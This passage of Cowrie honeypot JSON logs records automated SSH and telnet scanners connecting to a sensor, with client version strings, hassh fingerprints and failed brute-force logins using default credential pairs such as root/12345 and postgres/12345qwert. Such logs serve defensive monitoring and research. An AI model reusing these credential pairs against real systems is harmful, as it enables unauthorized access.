.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:41.428314Z","src_ip":"176.65.139.95","session":"086226a18c4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:41.885334Z","src_ip":"176.65.139.95","session":"086226a18c4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:42.971900Z","src_ip":"176.65.139.95","session":"086226a18c4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53556,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d21c77232e1","protocol":"ssh","message":"New connection: 176.65.139.95:53556 (159.203.135.109:22) [session: 4d21c77232e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:45.493851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:45.518113Z","src_ip":"176.65.139.95","session":"4d21c77232e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:45.630044Z","src_ip":"176.65.139.95","session":"4d21c77232e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webmaster","password":"webmaster","message":"login attempt [webmaster/webmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:46.253980Z","src_ip":"176.65.139.95","session":"4d21c77232e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:47.338863Z","src_ip":"176.65.139.95","session":"4d21c77232e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53856,"dst_ip":"159.203.135.109","dst_port":22,"session":"486704b17804","protocol":"ssh","message":"New connection: 159.203.92.129:53856 (159.203.135.109:22) [session: 486704b17804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:48.803784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:48.808636Z","src_ip":"159.203.92.129","session":"486704b17804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:48.816079Z","src_ip":"159.203.92.129","session":"486704b17804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"DisabilityWhiteList","password":"123","message":"login attempt [DisabilityWhiteList/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:48.830416Z","src_ip":"159.203.92.129","session":"486704b17804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.165.182.131","src_port":35030,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd00471d128d","protocol":"telnet","message":"New connection: 1.165.182.131:35030 (10.17.0.5:23) [session: cd00471d128d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:48.866569Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:49.837899Z","src_ip":"159.203.92.129","session":"486704b17804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52728,"dst_ip":"159.203.135.109","dst_port":22,"session":"654180422dfc","protocol":"ssh","message":"New connection: 176.65.139.95:52728 (159.203.135.109:22) [session: 654180422dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:52.880525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:52.903345Z","src_ip":"176.65.139.95","session":"654180422dfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:53.086957Z","src_ip":"176.65.139.95","session":"654180422dfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:53.603049Z","src_ip":"176.65.139.95","session":"654180422dfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:54.710326Z","src_ip":"176.65.139.95","session":"654180422dfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.116.23.158","src_port":41468,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48f324fed5d","protocol":"ssh","message":"New connection: 79.116.23.158:41468 (10.17.0.5:22) [session: b48f324fed5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:55.461952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:55.467183Z","src_ip":"79.116.23.158","session":"b48f324fed5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:55.582000Z","src_ip":"79.116.23.158","session":"b48f324fed5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"12345qwert","message":"login attempt [postgres/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:56.072868Z","src_ip":"79.116.23.158","session":"b48f324fed5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:57.190336Z","src_ip":"79.116.23.158","session":"b48f324fed5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34412,"dst_ip":"159.203.135.109","dst_port":22,"session":"9845de1c4e96","protocol":"ssh","message":"New connection: 80.94.92.186:34412 (159.203.135.109:22) [session: 9845de1c4e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:57.406137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:57.502644Z","src_ip":"80.94.92.186","session":"9845de1c4e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:57.616652Z","src_ip":"80.94.92.186","session":"9845de1c4e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr123","message":"login attempt [mapr/mapr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:58.477446Z","src_ip":"80.94.92.186","session":"9845de1c4e96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44154,"dst_ip":"159.203.135.109","dst_port":22,"session":"b92d3d2dd110","protocol":"ssh","message":"New connection: 176.65.139.95:44154 (159.203.135.109:22) [session: b92d3d2dd110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:59.644850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:59.656763Z","src_ip":"176.65.139.95","session":"b92d3d2dd110","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:59.731328Z","src_ip":"176.65.139.95","session":"b92d3d2dd110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:19:59.773387Z","src_ip":"80.94.92.186","session":"9845de1c4e96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:00.176487Z","src_ip":"176.65.139.95","session":"b92d3d2dd110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:01.290417Z","src_ip":"176.65.139.95","session":"b92d3d2dd110","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":16.511399507522583,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:05.377843Z","src_ip":"1.165.182.131","session":"cd00471d128d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44170,"dst_ip":"159.203.135.109","dst_port":22,"session":"362138db53c1","protocol":"ssh","message":"New connection: 176.65.139.95:44170 (159.203.135.109:22) [session: 362138db53c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:06.551513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:06.558582Z","src_ip":"176.65.139.95","session":"362138db53c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:06.646119Z","src_ip":"176.65.139.95","session":"362138db53c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:07.162104Z","src_ip":"176.65.139.95","session":"362138db53c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:08.252332Z","src_ip":"176.65.139.95","session":"362138db53c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":33038,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a11790d139d","protocol":"ssh","message":"New connection: 176.65.139.95:33038 (159.203.135.109:22) [session: 2a11790d139d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:12.939699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:12.954212Z","src_ip":"176.65.139.95","session":"2a11790d139d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:20:13.059299Z","src_ip":"176.65.139.95","session":"2a11790d139d","protocol":"ssh"}
